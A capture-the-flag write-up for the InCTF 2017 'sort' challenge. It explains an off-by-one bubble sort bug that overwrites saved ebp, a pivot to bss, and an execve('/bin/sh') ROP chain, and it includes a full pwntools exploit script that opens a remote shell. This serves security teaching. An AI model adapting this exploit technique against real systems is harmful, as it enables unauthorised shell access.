InCTF 2017 : sort Writeup

Author: sherl0ck

This CTF was organized by bi0s itself and was the first international edition of InCTF.

The binary was a 32-bit, statically linked and unstripped. Here are it’s permissions –

CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial

The executable was basically implementing a bubble sort algorithm. The sort function of the binary is the driver function. It has a local array of length 32 to store the elements to sort. Here is what the function is doing –

  1. Pre-initialise the local array elements to -1.
  2. Read in the number of elements to sort.
  3. Read the input into the local array.
  4. Sort it calling the bubble_sort function.
  5. Copy the sorted array to a global array.
  6. Print the sorted array.

The bug was in the bubble_sort function. The inner loop was actually running one extra time, which led to ebp being included in the sorting process. Here is the C code for the bubble_sort function –

void bubble_sort(long *a,int len)
{
        for(i=0;i<len-1;i++)
        {
           for(j=0;j<len-i;j++)
              {
                    if(a[j]>a[j+1])
                    {
                       swap(&a[j],&a[j+1]);
                    }
              }
        }
}

So if we input 32 element’s, the largest will take the place of saved ebp. After the sort function’s leave instruction, this will be the value of ebp(stack pivot). Subsequently, after the leave instruction of main, this same value will be the value of esp. The ret instruction of the main will thus return to the address that is present at this value. Summarizing, the control of the program (eip) at the end of main, shifts to the value present at the largest element entered.

So what we have to do is craft the largest element as a pointer to the desired address. For this, we make use of the fact that the sorted array is being copied on to the bss segment. Keep in mind that the numerical value of any gadget/function will be less than an address in the bss. My idea was to call the getinp function with the argument as a bss address and a large size. This will create a buffer overflow and we can return to a ROP chain that invokes the execve syscall with “/bin/sh” as the argument.  Directly returning to a ROP chain would be difficult as we would have to find gadget’s in the increasing order of their numerical value.

Here is how we can craft our exploit –

  1. Number or elements to be entered – 32
  2. Give the first 25 values as junk with only 1 contraint – they are (numerically) less than the numerical value of the address of getinp.
  3. Then comes the address of the function that main will return to (getinp)
  4. Next is the return address of getinp – for now let’s keep it as junk – we’ll overflow while sending payload (ROP chain)
  5. After that comes the arguments to getinp – address and size. Both can be bss addresses.
  6. The next 2 values are junk needed to complete the 32 inputs required, with same contraint as 2nd point.
  7. Last is the ebp for sort() and esp at end of main(). It will point to addr where addr of getinp is present (point 3).

The above will call getinp() at end of main, thus enabling us to give our ROP chain, which will simply set rdi to point to “/bin/sh” and then trigger a call to the execve syscall.  Here is the exploit script –

from pwn import *
import sys

if len(sys.argv)>1:
    r=remote('35.227.59.209',4545)
else:
    r=process('./sort')

ret_to=0x80eba88-4 # the addr (which is in bss) is the one we want main to ret to. -4 for pop ebp of leave.
pop_edx_ecx_ebx=0x0806fe00 # pop edx ; pop ecx ; pop ebx ; ret
pop_eax=0x08052b14 # pop eax ; ret
int80=0x0806da43 # int 0x80
getinp=0x0804887c # address of the getinp function

'''
Idea - stack pivot to bss, call getinp() with args - (addr in bss, a large size) - cause buffer overflow there (bss), and get shell using syscall rop chain.
'''

r.sendlineafter("Enter the no. of elements to be sorted: ",'32')

r.recvuntil("Give me the no. : ")

'''Input the numbers to sort - '''

for i in range(25):
    r.sendline(str(0x08048870).ljust(31,'\x61')) # these are just junk values.

r.send(str(getinp).ljust(32,'\x00')) # ret addr
r.send(str(getinp+1).ljust(32,'\x00')) # ret + 4
r.send(str(ret_to-8).ljust(32,'\x00')) # arg1
r.send(str(ret_to-1).ljust(32,'\x00')) # arg2
r.send(str(ret_to-1).ljust(32,'\x00')) # jnk
r.send(str(ret_to-1).ljust(32,'\x00')) # jnk
r.sendline(str(ret_to)) # ebp / esp
log.info("Sent elements")

''' ROP Chain : - '''

payload="/bin/sh\x00aaaaaaaa"
payload+=p32(pop_eax)+p32(0x80eba20)
payload+=p32(pop_edx_ecx_ebx)
payload+=p32(0)
payload+=p32(0)
payload+=p32(0x80eba7c)
payload+=p32(pop_eax)
payload+=p32(0xb)
payload+=p32(int80)

r.recvuntil("Here's the sorted list :")

log.info("Payload Sent")
r.sendline(payload)
r.interactive()

And the flag – inctf{D4mn_7h0s3_3dg3_c4s3s}

Hope everyone enjoyed playing the CTF.

 

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

Blog at WordPress.com.

Up ↑

%d bloggers like this: